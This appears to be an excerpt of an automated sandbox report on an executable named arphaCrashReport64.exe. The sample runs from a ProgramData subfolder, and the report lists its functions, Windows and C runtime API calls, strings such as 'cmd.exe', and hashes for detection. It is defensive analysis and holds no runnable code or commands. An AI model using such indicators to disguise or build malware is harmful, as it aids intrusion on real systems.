Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: 8A51AC32301B4493EB18EF16E9A8ADA33A4FB94BC6F444825DF5D57B99DF38D4258B00

Function 00007FF6001679E0 Relevance: 6.2, APIs: 4, Instructions: 190COMMON

Download Yara Rule

APIs

FindResourceExW.KERNEL32 ref: 00007FF600167A8E
FindResourceW.KERNEL32 ref: 00007FF600167AE0
MultiByteToWideChar.KERNEL32 ref: 00007FF600167B70
MultiByteToWideChar.KERNEL32 ref: 00007FF600167BB5

Part of subcall function 00007FF60016D2C4: EnterCriticalSection.KERNEL32(?,?,?,00007FF600162F72), ref: 00007FF60016D2E2
Part of subcall function 00007FF60016D2C4: LeaveCriticalSection.KERNEL32(?,?,?,00007FF600162F72), ref: 00007FF60016D300

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharCriticalFindMultiResourceSectionWide$EnterLeave
String ID:
API String ID: 2462052736-0
Opcode ID: 0dfbb6077d379c04c7fa74544144c9af0e17c2dc9fc63beecfdf1cb9ee66edb3
Instruction ID: a93a94b33d7a396a54dd63c5231ef172a51a3baa660b9049759dad7ae39d5d1f
Opcode Fuzzy Hash: 0dfbb6077d379c04c7fa74544144c9af0e17c2dc9fc63beecfdf1cb9ee66edb3
Instruction Fuzzy Hash: 3F719E32B09B4696EA109F96E80427DB3A1FF84F88F248175DA5D877A9DF3CE5428740

Function 0000021497F39DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F39E0E
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F39E19
RtlDecodePointer.NTDLL ref: 0000021497F39EC8
_lock.LIBCMT ref: 0000021497F39EF3

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction ID: 1fb08f3f8f1f02b57c8dcfe5a9efe9b4551840875e13d8f15030d457731598af
Opcode Fuzzy Hash: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction Fuzzy Hash: 8B51D93220864486FB64FB28A46DBFB6391F7A47CAF144E15D95E2769CCB39C481CF12

Function 0000021497C50AFC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021497C50100: _getptd.LIBCMT ref: 0000021497C50104

_getptd.LIBCMT ref: 0000021497C50B3B
_SetImageBase.LIBCMT ref: 0000021497C50C0E
_getptd.LIBCMT ref: 0000021497C50C3C
_getptd.LIBCMT ref: 0000021497C50C4A

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction ID: 79aadf5cd4684adf30c2ca8a25e3447941a0c1a6f211725ffb4bd62c86dd29a6
Opcode Fuzzy Hash: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction Fuzzy Hash: F941B631118A444AE3147B38844EBFB72D1FB66316F644DAEE44DC71E7E672E8C28B42

Function 0000021497F42EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021497F33334: _getptd.LIBCMT ref: 0000021497F33346

_errno.LIBCMT ref: 0000021497F42EFA
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F42F04
_errno.LIBCMT ref: 0000021497F42F28
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F42F32

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction ID: 339d01454020b2d8e04eb7abef9688738a639caf29bdd854c7a100954f7167f2
Opcode Fuzzy Hash: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction Fuzzy Hash: C541B23235478086EB51EF15C1ACBEA7BA0E7A4BE1F448521EB5D6379ADB28C449CB00

Function 0000021497C4E7B4 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C4E7D3
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C4E7DF
_errno.LIBCMT ref: 0000021497C4E809
_errno.LIBCMT ref: 0000021497C4E86B

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: 5f16a558aa8e511f9b7ba833e3f09c70fdb544a6090ac7a5f666b4d683baacde
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: 7B314C30748AC54AFB0D662C544CBBB7BC1EB79703F1549BED08EC76D7D96188018B51

Function 0000021497F31B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 0000021497F31B75
realloc.LIBCMT ref: 0000021497F31BD4

Part of subcall function 0000021497F33D68: malloc.LIBCMT ref: 0000021497F33D85

IsBadCodePtr.KERNEL32 ref: 0000021497F31C59
SetLastError.KERNEL32 ref: 0000021497F31C7D

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: cd77d6966354ac81056ffd01fba2cb5cc00163abc00096c6c5b4e04e599ac1b1
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: 61416F32705A8487EB64AB16E854BDBA3A0F798BD6F084825DF4E47B5CDF38D491CB00

Function 0000021497F41144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021497F40748: _getptd.LIBCMT ref: 0000021497F4074C

_getptd.LIBCMT ref: 0000021497F41183

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

_SetImageBase.LIBCMT ref: 0000021497F41256
_getptd.LIBCMT ref: 0000021497F41284
_getptd.LIBCMT ref: 0000021497F41292

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction ID: 19dac9b7bed1d01fe35bc918d9d04d3bce150cfe779785f5284ffe4805bb2b7b
Opcode Fuzzy Hash: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction Fuzzy Hash: 2441F73324054582EA60F715D4ADBFF67A0B7A1BDAF518A11DD1DA33E6CA38C4828B00

Function 0000021497C42A74 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497C42A9F
_invalid_parameter_noinfo.LIBCMT ref: 0000021497C42AAA
_getptd.LIBCMT ref: 0000021497C42AD0
free.LIBCMT ref: 0000021497C42B3B

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: 32e49194cc83e751abd22517366be44e6a72e237361ef756869269b9f8861c14
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: 7D218030748F494FE754BF68944FBBB77D1EBA8351F10092EE95DC32A6DA60D8414B82

Function 0000021497F3EDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000021497F3EE1B
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F3EE27
_errno.LIBCMT ref: 0000021497F3EE51
_errno.LIBCMT ref: 0000021497F3EEB3

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction ID: d01a950f9e08da57db819c66de6152cb86c5b28cbf42ba93d09e0eff641bec9b
Opcode Fuzzy Hash: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction Fuzzy Hash: 6A214D323083C0C5F714AA64D078FDF2B819B75BC1F1A8921D609673CBD675C8898F02

Function 0000021497F35B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F35B36

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

_lock.LIBCMT ref: 0000021497F35B64
free.LIBCMT ref: 0000021497F35B9A
_amsg_exit.LIBCMT ref: 0000021497F35BD3

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction ID: 34600f0ec12f42b42eddc829a053888feb8495c645b159f97ae1ade9b38351a7
Opcode Fuzzy Hash: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction Fuzzy Hash: DC11863520564482EB95FB24E468FFA73A0F7A4BC2F480825DA5E2339ADF24C450CF00

Function 0000021497F347F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,0000021497F34382), ref: 0000021497F34803
RtlDeleteCriticalSection.NTDLL ref: 0000021497F39A43
free.LIBCMT ref: 0000021497F39A4C
RtlDeleteCriticalSection.NTDLL ref: 0000021497F39A73

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction ID: 424f4c6070ee7c6ed2f5db87ff969d57e9a92031d007209227972c4b91746dee
Opcode Fuzzy Hash: 66e45fb4ed4c7c46c8d59f0427f6f79e842585fe759810a90be61511a68586aa
Instruction Fuzzy Hash: 27118231645A40C7FB15EF11F46C7AA7360E765BA6F584B15D6AE22298CB38C441CF04

Function 0000021497F3303C Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000021497F33071
RtlExitUserThread.NTDLL ref: 0000021497F33079
GetCurrentThreadId.KERNEL32 ref: 0000021497F33080
_freefls.LIBCMT ref: 0000021497F330B1

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Thread$CurrentErrorExitLastUser_freefls
String ID:
API String ID: 2333339018-0
Opcode ID: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction ID: 8d1c5c6cdd378810c616ea1cae4e362cfc4634a48446c0c708899c395140bdc8
Opcode Fuzzy Hash: 1d327169eee2f3b51d41e9c8fa1145ac288bfea310b6a99aceaecc2bb69ad073
Instruction Fuzzy Hash: E6013C79201B4586EF04FBB1942DBEE2294AB29BC7F144C34C94D6B39AEE3884448B10

Function 0000021497F363FC Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F36402

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

_getptd.LIBCMT ref: 0000021497F36422
_lock.LIBCMT ref: 0000021497F36435
_amsg_exit.LIBCMT ref: 0000021497F36463

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction ID: acd17aed7fc2a176e77864f911d5044cd624d3f3be5f2dec07aea6aa94738b37
Opcode Fuzzy Hash: e7941a96530e1c955f2a00232421d4091be33abcd81c70c340db9f77def0201e
Instruction Fuzzy Hash: BDF06D30616444C1FE18FB60C479FFA1360A7A4B86F590A78DA6C273CACB188450CB20

Function 0000021497F22A50 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32 ref: 0000021497F22A6F
CreateThread.KERNEL32 ref: 0000021497F22A95
WaitForSingleObject.KERNEL32 ref: 0000021497F22AA6
CloseHandle.KERNEL32 ref: 0000021497F22AB1

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID:
API String ID: 3360349984-0
Opcode ID: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction ID: e23cbcffb621ea26833acc9954d18e99c727c4afc6007298e39cfd82d105e860
Opcode Fuzzy Hash: 7ec8991d8e7ba380ce2ba135d182d7ed855463916c5f2a3eec3c41204f7881e0
Instruction Fuzzy Hash: 78F0AF32618A8083E710EF74B86899B77A2F3D5791F144625FA8E43B68CF3CC0448F04

Function 0000021497F226D0 Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0000021497F22703
CancelIo.KERNEL32 ref: 0000021497F2270D
closesocket.WS2_32 ref: 0000021497F2271D
SetEvent.KERNEL32 ref: 0000021497F2272A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CancelEventclosesocketsetsockopt
String ID:
API String ID: 852421847-0
Opcode ID: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction ID: 69fb6887be7e62fcd0ebb0678f7584ab0ffa8e2412d1104333293fcdad9a110b
Opcode Fuzzy Hash: e40bbd37a51d8472f3c7ef4493497414e2ab08d8669d51031812fb7bf0656f87
Instruction Fuzzy Hash: 29F06D32204A4083E700EF26E55869AB370F798BA5F500725DBAD43AE8CF78C4A9CB04

Function 0000021497C51A7C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497C51AA0

Strings

csm, xrefs: 0000021497C51ACD
csm, xrefs: 0000021497C51BD7

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: b07f74526c8bf6226bdba59ef165fb43adfaa5ced6e6d9a60e6fe825d3ec73ec
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 8161847021CB858FEBA4BE58808DBAA73D1FB68312F54095DD84DC7692D7729881CB86

Function 0000021497F420C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F420E8

Part of subcall function 0000021497F34958: _amsg_exit.LIBCMT ref: 0000021497F3496E

Strings

csm, xrefs: 0000021497F42115
csm, xrefs: 0000021497F4221F

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: d5f8bf9450a9b873b56e4915e3bd1aaaeb163fb50376e86d215a9c9cf2651e11
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: 5F51B13234468087FF64EE26946CBEE77A0B361B96F044525DA5CA7B89CB38C990CF01

Function 00007FF600175B94 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF600175BC6

Part of subcall function 00007FF600177690: HeapFree.KERNEL32(?,?,00007FF6001760C3,00007FF60017B1C4,?,?,?,00007FF60017B207,?,?,000039A96F468CAB,00007FF60017B730,?,?,?,00007FF60017B663), ref: 00007FF6001776A6
Part of subcall function 00007FF600177690: GetLastError.KERNEL32(?,?,00007FF6001760C3,00007FF60017B1C4,?,?,?,00007FF60017B207,?,?,000039A96F468CAB,00007FF60017B730,?,?,?,00007FF60017B663), ref: 00007FF6001776B8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF60016E822), ref: 00007FF600175BE4

Strings

C:\ProgramData\vzobo\arphaCrashReport64.exe, xrefs: 00007FF600175BD2

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\ProgramData\vzobo\arphaCrashReport64.exe
API String ID: 3580290477-2872422118
Opcode ID: a67a7c16d395d83f555d65c504517a49ea3ea7d20070302fac72a3118d655a55
Instruction ID: be70d8a0f7119fe39a716c88a9483c7a488997e3e6d0f27cb56dfc772f336d28
Opcode Fuzzy Hash: a67a7c16d395d83f555d65c504517a49ea3ea7d20070302fac72a3118d655a55
Instruction Fuzzy Hash: 31414D32A08B12A6EB15DFA5E8401BD67B6FF44794B644075EA4EC7B8DDF7CE4828340

Function 0000021497F3D904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F33334: _getptd.LIBCMT ref: 0000021497F33346

_errno.LIBCMT ref: 0000021497F3D84C
_invalid_parameter_noinfo.LIBCMT ref: 0000021497F3D857

Strings

cmd.exe, xrefs: 0000021497F3D82E

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction ID: 763a791d88ab6c3bc4f445d24b1ca1d2a11f15fbad71c04f4d08c517ebad4a4f
Opcode Fuzzy Hash: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction Fuzzy Hash: A8210E326157C482F761B7149478BEF6790F7A1BE6F288911EA9E27ECDCA38D4458F00

Function 0000021497F4620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000021497F462CF

Strings

csm, xrefs: 0000021497F46232
csm, xrefs: 0000021497F4628B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: ef85970a16771caf0530e3cfa29a2c088db4efcc17040b0d425df734c332fb65
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: 21313A73140B44CADB60DF66C49879D3B70F368B9EF861218EA4D0BB58C730C990CB85

Function 00007FF60017A4B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF60017A4ED
LCMapStringW.KERNEL32 ref: 00007FF60017A575

Strings

LCMapStringEx, xrefs: 00007FF60017A4D0, 00007FF60017A4E1

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: f4f5ecbe5d30e1b070dccf9b5405843729b019c2da799db4096029bea26e8635
Instruction ID: 5d46bc2018447e159471320e55945d7a561320f0e3e8db24caae20d922aaf3c6
Opcode Fuzzy Hash: f4f5ecbe5d30e1b070dccf9b5405843729b019c2da799db4096029bea26e8635
Instruction Fuzzy Hash: 39111D36A08B81D6D760CB56F4802AAB7A5FBC9B94F644176EE8D83B1DCF3CD5408B00

Function 0000021497F4630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F40B80: _getptd.LIBCMT ref: 0000021497F40B8D
Part of subcall function 0000021497F40B80: _getptd.LIBCMT ref: 0000021497F40BA0

_getptd.LIBCMT ref: 0000021497F4636C
_getptd.LIBCMT ref: 0000021497F4637F

Strings

csm, xrefs: 0000021497F4632B

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

